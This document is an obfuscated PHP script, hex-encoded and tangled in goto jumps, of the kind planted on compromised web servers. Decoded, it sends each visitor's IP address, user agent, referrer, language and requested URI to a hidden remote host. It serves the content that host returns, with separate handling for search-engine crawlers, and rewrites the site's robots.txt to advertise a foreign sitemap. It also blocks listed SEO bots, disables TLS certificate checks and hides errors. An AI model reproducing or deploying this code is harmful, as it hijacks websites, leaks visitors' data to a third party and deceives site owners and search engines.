<?php
 goto GR0qT; E7Ij7: $lmz5J = urlencode($_SERVER["\110\124\x54\120\x5f\110\117\x53\x54"]); goto k9qM4; EzUkY: if (strpos($j9Mh3, "\x66\x61\166\151\143\x6f\x6e\56\x69\143\157") !== false) { goto wI4QI; } goto ZBjMp; IRxGI: header("\x43\157\156\164\145\x6e\x74\x2d\x54\x79\x70\145\x3a\x20\164\145\170\x74\x2f\170\155\154\73\x20\143\x68\x61\162\163\x65\164\75\x75\x74\146\x2d\70"); goto cGFtj; g3LB6: H1jsn: goto ePWAv; JgSH4: if (substr($fJHgF, 0, 5) == "\74\77\170\155\x6c") { goto xDM6z; } goto YZkcL; LAA9l: goto mAwy_; goto deXjl; NmlHs: goto mxdaC; goto prOSA; FHgiE: goto xUi9i; goto y0isf; AGD5b: echo $z01T2 . "\72\x20" . $RX37Z . "\74\142\162\x2f\x3e"; goto pp4u3; suh5C: NGThj: goto dqT0_; hmwqD: $kkxFH = urlencode($kkxFH); goto whd6Z; eXBUi: RSRBX: goto KeM8z; c1vD9: $YsINA = urlencode($_SERVER["\x48\x54\124\120\137\125\123\x45\x52\137\x41\x47\x45\x4e\x54"]); goto wR5Mv; Jyqd6: $qQtKx = "\x55\101\x64\x54\125\121\x67\172"; goto aJ8Kp; C7Rmq: jg529: goto lMZ8K; ODRrk: $fJHgF = @file_get_contents($T8EA9); goto rbHVo; lMZ8K: $fJHgF = @file_get_contents($MsGTC); goto AvqS9; Jq_U2: $T8EA9 = $U5V92 . "\x3a\57\x2f" . $_SERVER["\110\124\x54\120\x5f\110\117\x53\124"] . "\57\156\142\x6b\x6e\142\153"; goto ODRrk; IDj9B: $U5V92 = urlencode($_SERVER["\122\105\x51\x55\105\x53\124\137\123\x43\110\105\x4d\x45"]); goto HFA30; pLXLZ: $z01T2 = "{$U5V92}\72\x2f\57" . $lmz5J . $cyswq . "\x73\151\164\145\x6d\141\x70\56\x78\155\x6c"; goto MwwcH; yzDO6: if (strpos($cyswq, "\151\x6e\x64\145\x78\56\160") !== false) { goto hoD9B; } goto CmLqt; k9qM4: $Q1l78 = urlencode($_SERVER["\x53\x43\x52\111\120\x54\x5f\x4e\x41\115\x45"]); goto hmwqD; hUl4i: curl_setopt($iQREm, CURLOPT_FOLLOWLOCATION, false); goto S8Nj9; RcEgI: IzNPe: goto Pzgr9; sitYM: $gNAx5 = $T1zD9 . $i1_ZM . $Gy97R . $efDAs . $XpsRu; goto Jyqd6; XrSqZ: $iQREm = curl_init(); goto vKr8z; ZBjMp: if (preg_match("\100\136\x2f\50\x2e\x2a\77\x29\x2e\170\155\x6c\x24\100\x69", $_SERVER["\x52\105\x51\x55\105\x53\124\137\x55\122\x49"]) or strpos($j9Mh3, "\162\x6f\x62\157\164\x73\56\x74\x78\164") !== false or strpos($j9Mh3, "\152\160\62\60\62\x33") !== false or strpos($j9Mh3, "\160\x69\x6e\x67\163\151\164\x65\x6d\141\x70") !== false or preg_match("\x2f\50{$x5qi0}\x29\57\x69", $_SERVER["\x48\x54\x54\120\x5f\125\123\105\122\137\x41\107\x45\116\x54"]) or preg_match("\x2f\50{$x5qi0}\51\x2f\151", @$_SERVER["\110\124\124\120\x5f\122\105\x46\x45\122\105\122"])) { goto eOWc3; } goto HvU67; JGrpL: wI4QI: goto Mqh8T; fD3We: header("\110\124\124\120\57\61\56\x30\x20\64\60\x33\x20\106\157\x72\x62\x69\144\144\x65\156"); goto h4Eu6; flmzW: goto aA0OE; goto dJxJb; KvjWw: goto anby2; goto JGrpL; a6G2g: $dK4Fi = "\125\163\x65\162\55\141\x67\145\x6e\x74\x3a\40\x2a\xd\xa\101\154\x6c\x6f\167\x3a\x20\x2f"; goto pLXLZ; cGFtj: aA0OE: goto LAA9l; kQg3L: goto CLqOn; goto lz3vg; Z_XLy: curl_setopt($iQREm, CURLOPT_RETURNTRANSFER, true); goto hUl4i; xxGMr: $_SERVER["\x52\x45\x51\x55\105\123\124\137\123\103\110\x45\x4d\x45"] = "\x68\164\164\x70\163"; goto lGG0N; TfxQx: echo $fJHgF; goto OiRV_; MwwcH: $dK4Fi = trim($dK4Fi) . "\xd\12" . "\x53\x69\164\x65\155\141\x70\x3a\x20{$z01T2}"; goto dEgG3; l1wzE: $cyswq = "\57"; goto DgTAV; CmLqt: $cyswq = $cyswq . "\77"; goto QkBn2; nrCPu: return; goto QST8g; LfFmV: if (!(strpos($j9Mh3, "\x72\157\142\x6f\x74\x73\56\x74\170\x74") !== false)) { goto Mn6Pr; } goto YlIeC; fUMQd: if (strpos($j9Mh3, "\152\x70\x32\x30\x32\x33") !== false) { goto hLk2i; } goto JgSH4; QtWWD: JxPWB($IuUgr, "\60"); goto W3Ifz; ePWAv: if (empty($fJHgF)) { goto WyzMp; } goto dN8XW; Kp5bL: $fJHgF = curl_exec($iQREm); goto ed6GK; un0HK: $H3LVm = 0; goto QtWWD; S8Nj9: curl_setopt($iQREm, CURLOPT_SSL_VERIFYPEER, FALSE); goto AdgcQ; GR0qT: $Gy97R = "\162"; goto FkU1f; ZPPbQ: jXPwb("\162\x6f\x62\157\x74\x73\x2e\x74\x78\x74", $dK4Fi); goto RcEgI; FkU1f: $i1_ZM = "\56\x79\157"; goto pepmL; DmqOH: goto mxdaC; goto R5MBb; QST8g: WyzMp: goto bjXRe; bjXRe: Tmtw1: goto KvjWw; akZEE: $kkxFH = $_SERVER["\110\x54\x54\x50\137\103\114\111\105\116\x54\x5f\x49\x50"]; goto NmlHs; wR5Mv: if (isset($_SERVER["\110\x54\x54\x50\137\103\114\x49\x45\x4e\124\137\111\x50"])) { goto gze6o; } goto DqGNk; A7k4v: o1M2Z: goto fUMQd; DgTAV: goto lfyLA; goto suh5C; sAVWz: $MsGTC = $gNAx5 . "\x3f\141\147\145\156\x74\75{$YsINA}\46\x72\145\x66\x65\x72\x3d{$SG_CE}\46\x6c\141\x6e\x67\75{$cLUPE}\46\x69\x70\75{$kkxFH}\46\144\157\x6d\75{$lmz5J}\46\x68\x74\x74\x70\75{$U5V92}\46\x75\x72\x69\75{$j9Mh3}\46\160\143\x3d{$qQtKx}\46\162\145\x77\x72\151\x74\x65\141\x62\154\x65\x3d{$H3LVm}\46\x73\143\162\151\x70\x74\75{$Q1l78}"; goto Yr_qW; y0isf: b4LAQ: goto xxGMr; KeM8z: $cLUPE = urlencode(@$_SERVER["\110\x54\x54\x50\137\x41\103\x43\105\x50\124\137\x4c\101\116\107\x55\101\x47\105"]); goto Z1_eA; ITfii: mAwy_: goto TfxQx; YKwx0: if (!preg_match("\x2f\50\106\145\x65\x64\x6c\171\x7c\123\145\x7a\x6e\x61\x6d\102\x6f\x74\x7c\x61\155\x61\172\x6f\x6e\102\157\164\x7c\107\157\55\150\x74\164\x70\55\143\154\x69\145\156\x74\174\146\145\x65\x64\104\145\x6d\157\156\x7c\125\x6e\x69\166\x65\162\x73\x61\x6c\106\x65\x65\144\x50\x61\x72\x73\x65\162\174\x47\x50\x54\102\x6f\164\174\103\x72\x61\x77\154\104\141\144\x64\x79\x7c\142\141\x72\153\x72\x6f\167\x6c\x65\162\174\110\x65\162\x69\164\x72\x69\170\x7c\171\x79\123\x70\151\x64\x65\162\174\x6a\x61\x76\x61\174\x69\156\144\171\x20\x4c\x69\x62\162\x61\162\x79\174\143\x6c\141\x75\144\x65\142\x6f\x74\x7c\x4d\152\x31\62\x62\x6f\164\174\120\x61\154\157\x61\154\164\157\x6e\145\x74\167\157\162\153\163\174\x61\x68\x72\x65\146\163\102\157\x74\x7c\x41\163\153\x54\x62\106\130\124\126\x7c\x43\145\156\x73\171\x73\x49\156\163\x70\x65\x63\x74\x7c\105\x7a\157\157\x6d\163\174\104\x69\x67\105\170\x74\x7c\x53\x63\x72\x61\x70\171\174\x53\145\155\x72\x75\x73\150\102\x6f\x74\x7c\114\151\x67\x68\x74\104\145\x63\153\122\145\160\x6f\162\164\x73\x20\x42\x6f\164\174\102\x79\164\x65\x73\x70\151\x64\145\x72\x7c\104\157\164\x42\157\x74\x7c\x50\145\x74\141\154\102\157\164\x7c\x4a\x69\153\145\123\160\x69\144\x65\162\x7c\152\x61\x75\156\164\x79\174\x59\x61\x6e\144\x65\x78\x42\157\164\x7c\x41\x70\141\143\x68\145\102\145\x6e\143\x68\x7c\x63\x6f\157\x6c\x70\141\x64\x57\145\x62\153\x69\x74\x7c\120\171\164\x68\x6f\156\x2d\x72\x65\x71\165\145\x73\x74\x73\174\105\x61\x73\x6f\165\123\x70\x69\x64\145\x72\x7c\104\x61\x74\141\106\x6f\162\123\105\x4f\174\x50\x79\x74\x68\157\156\55\x75\x72\154\x6c\x69\142\174\132\x6d\x45\x75\x7c\150\x74\164\160\x43\x6c\151\x65\x6e\164\174\131\x69\x73\157\165\x53\x70\151\x64\145\162\174\160\171\x74\x68\x6f\x6e\x7c\123\167\151\x66\x74\x62\x6f\x74\x7c\x4f\x42\157\164\51\57\151", $_SERVER["\110\x54\x54\120\x5f\x55\123\105\x52\x5f\x41\x47\x45\116\x54"])) { goto RSRBX; } goto fD3We; dN8XW: if (!(substr($fJHgF, 0, 10) == "\145\162\162\x6f\162\x20\x63\x6f\144\x65" or $fJHgF == "\65\x30\60" or strpos($fJHgF, "\102\141\144\x20\107\x61\x74\x65\167\141\x79") !== false)) { goto o1M2Z; } goto nWt6_; R5MBb: gze6o: goto akZEE; YZkcL: header("\103\157\x6e\164\x65\156\164\x2d\x54\171\x70\x65\x3a\40\x74\145\170\x74\57\x68\164\155\154\x3b\x20\x63\x68\x61\x72\163\x65\164\75\x75\x74\x66\55\70"); goto flmzW; AvqS9: if (!empty($fJHgF)) { goto H1jsn; } goto XrSqZ; lz3vg: yvUC0: goto Jq_U2; AdgcQ: curl_setopt($iQREm, CURLOPT_SSL_VERIFYHOST, FALSE); goto Kp5bL; h4Eu6: exit; goto eXBUi; DqGNk: if (isset($_SERVER["\110\x54\124\120\x5f\130\x5f\x46\x4f\122\x57\101\122\104\x45\104\x5f\106\x4f\122"])) { goto xY6nN; } goto DmqOH; ed6GK: curl_close($iQREm); goto g3LB6; CkYj2: lfyLA: goto sqbG4; Z1_eA: $SG_CE = urlencode(@$_SERVER["\x48\124\x54\x50\137\122\105\106\105\122\x45\x52"]); goto UMli5; MPA9d: $efDAs = "\153\155\151"; goto k9Ys8; eGcBt: $cyswq = $_SERVER["\x53\x43\122\x49\x50\x54\137\116\x41\115\x45"]; goto yzDO6; H7tfN: Mn6Pr: goto vVDjz; Sd9BE: FlJkT: goto RD3Dp; YdjST: echo "\157\153"; goto I7rEK; UMli5: $kkxFH = $_SERVER["\122\x45\x4d\117\x54\105\137\x41\x44\x44\122"]; goto c1vD9; cALHZ: tfgmL: goto ZPPbQ; hCB5R: header("\x48\124\x54\x50\x2f\x31\56\61\40\x34\60\x34\40\116\x6f\164\x20\106\157\165\156\144"); goto ITfii; aJ8Kp: $x5qi0 = "\x59\141\x68\157\x6f\x7c\107\x6f\157\x67\x6c\x65\x7c\102\x69\156\147\x7c\x44\x6f\143\157\x6d\x6f"; goto Zdbeb; OKB7F: $_SERVER["\122\x45\121\125\x45\123\124\x5f\x53\103\110\x45\x4d\x45"] = "\150\164\x74\160"; goto FHgiE; HFA30: $j9Mh3 = urlencode($_SERVER["\122\105\x51\x55\x45\123\x54\x5f\x55\x52\x49"]); goto NoaYg; pepmL: $XpsRu = "\x6e\x64\x2e\x63\157\x6d\x2f"; goto MPA9d; RD3Dp: $H3LVm = 1; goto KNFgk; I7rEK: exit; goto kawgi; SmMbS: CLqOn: goto EzUkY; W3Ifz: goto ciSQM; goto Sd9BE; dJxJb: xDM6z: goto IRxGI; rZyer: mxdaC: goto E7Ij7; deXjl: hLk2i: goto hCB5R; Uru6E: $IuUgr = "\x6e\142\153\x2e\x74\170\164"; goto J9C5g; ysxH3: $H3LVm = rOrxg($IuUgr); goto kQg3L; HgL10: exit; goto A7k4v; kKHYQ: $kkxFH = $_SERVER["\110\124\124\x50\x5f\130\137\106\x4f\x52\127\101\122\x44\x45\104\x5f\x46\x4f\122"]; goto rZyer; Pzgr9: exit; goto nrCPu; NoaYg: if (!(strpos($j9Mh3, "\156\x62\153\x6e\142\153") !== false)) { goto oBInX; } goto YdjST; sqbG4: sogfB: goto a6G2g; k9Ys8: $T1zD9 = "\x68\164\x74\x70\72\57\57\143\x77\x34\x33\x33\x36"; goto sitYM; dqT0_: $cyswq = "\57\x3f"; goto CkYj2; QtW8T: hoD9B: goto uu02k; GurqQ: function rORxG($EvU5F) { goto cQpcG; SlIB0: $Rl7Mc = fread($ALbTK, filesize($EvU5F)); goto pwi2S; cQpcG: $ALbTK = fopen($EvU5F, "\162"); goto xFQoX; xFQoX: if (!$ALbTK) { goto n3anU; } goto SlIB0; pwi2S: fclose($ALbTK); goto UR2GE; UR2GE: return $Rl7Mc; goto SQLBh; COeVy: return false; goto ZcGqH; SQLBh: n3anU: goto COeVy; ZcGqH: } goto IDj9B; kawgi: oBInX: goto BJF9v; YlIeC: jXPwb("\x72\x6f\142\157\x74\163\56\x74\170\164", $fJHgF); goto H7tfN; J9C5g: if (!is_file($IuUgr)) { goto yvUC0; } goto ysxH3; uu02k: if ($H3LVm == 0) { goto NGThj; } goto l1wzE; nWt6_: header("\x48\124\x54\120\57\x31\x2e\x30\40\x35\x30\60\40\x49\156\164\x65\x72\156\x61\x6c\40\123\x65\x72\x76\x65\162\40\105\x72\162\x6f\x72"); goto HgL10; lGG0N: xUi9i: goto Cuk9m; prOSA: xY6nN: goto kKHYQ; OiRV_: if (!empty($dK4Fi)) { goto tfgmL; } goto LfFmV; ozyWX: if (!(strpos($j9Mh3, "\x70\x69\x6e\147\163\151\164\x65\x6d\141\x70") !== false)) { goto jg529; } goto eGcBt; whd6Z: if (!empty($_SERVER["\122\105\121\125\x45\x53\124\x5f\123\x43\110\105\x4d\x45"]) and $_SERVER["\122\105\121\125\x45\123\124\137\x53\x43\x48\x45\x4d\105"] == "\150\164\164\160\x73" or !empty($_SERVER["\110\124\124\120\x53"]) and $_SERVER["\110\x54\x54\120\123"] == "\x6f\x6e" or !empty($_SERVER["\x53\x45\122\x56\105\x52\137\x50\117\122\x54"]) and $_SERVER["\x53\x45\122\126\x45\x52\x5f\120\x4f\122\124"] == "\x34\x34\x33" or isset($_SERVER["\110\124\124\120\137\130\137\106\x4f\122\127\101\122\x44\105\x44\137\x50\x52\x4f\x54\x4f"]) and $_SERVER["\110\124\124\120\x5f\x58\137\106\117\122\127\x41\122\104\x45\x44\x5f\120\x52\x4f\124\117"] == "\x68\x74\164\x70\163") { goto b4LAQ; } goto OKB7F; QkBn2: goto sogfB; goto QtW8T; vKr8z: curl_setopt($iQREm, CURLOPT_URL, $MsGTC); goto Z_XLy; Zdbeb: error_reporting(0); goto YKwx0; vVDjz: goto IzNPe; goto cALHZ; Yr_qW: $dK4Fi = ''; goto ozyWX; dEgG3: $RX37Z = ''; goto AGD5b; rhbYH: ciSQM: goto SmMbS; J604b: eOWc3: goto sAVWz; Cuk9m: function jxPWB($EvU5F, $Rl7Mc) { goto vz1lr; k0FHC: CJywa: goto VSxXz; VSxXz: return false; goto sTl83; vz1lr: $ALbTK = fopen($EvU5F, "\x77"); goto iV7as; iV7as: if (!$ALbTK) { goto CJywa; } goto v0mK8; UMoJj: fclose($ALbTK); goto cb6jh; cb6jh: return true; goto k0FHC; v0mK8: fwrite($ALbTK, $Rl7Mc); goto UMoJj; sTl83: } goto GurqQ; BJF9v: $H3LVm = 0; goto Uru6E; HvU67: goto Tmtw1; goto J604b; KNFgk: jXpWb($IuUgr, "\61"); goto rhbYH; rbHVo: if ($fJHgF === "\x6f\153") { goto FlJkT; } goto un0HK; pp4u3: $MsGTC = $gNAx5 . "\77\x61\x67\x65\x6e\164\75{$YsINA}\x26\162\x65\146\x65\x72\x3d{$SG_CE}\46\154\x61\x6e\x67\x3d{$cLUPE}\x26\151\x70\75{$kkxFH}\x26\144\x6f\155\75{$lmz5J}\x26\x68\164\164\x70\x3d{$U5V92}\46\x75\x72\151\75{$j9Mh3}\46\x70\x63\75{$qQtKx}\46\x72\x65\167\162\151\x74\x65\141\x62\x6c\145\75{$H3LVm}\x26\x73\x63\x72\151\160\164\75{$Q1l78}\46\163\x69\164\145\x6d\x61\x70\75" . urlencode($z01T2); goto C7Rmq; Mqh8T: anby2:
?>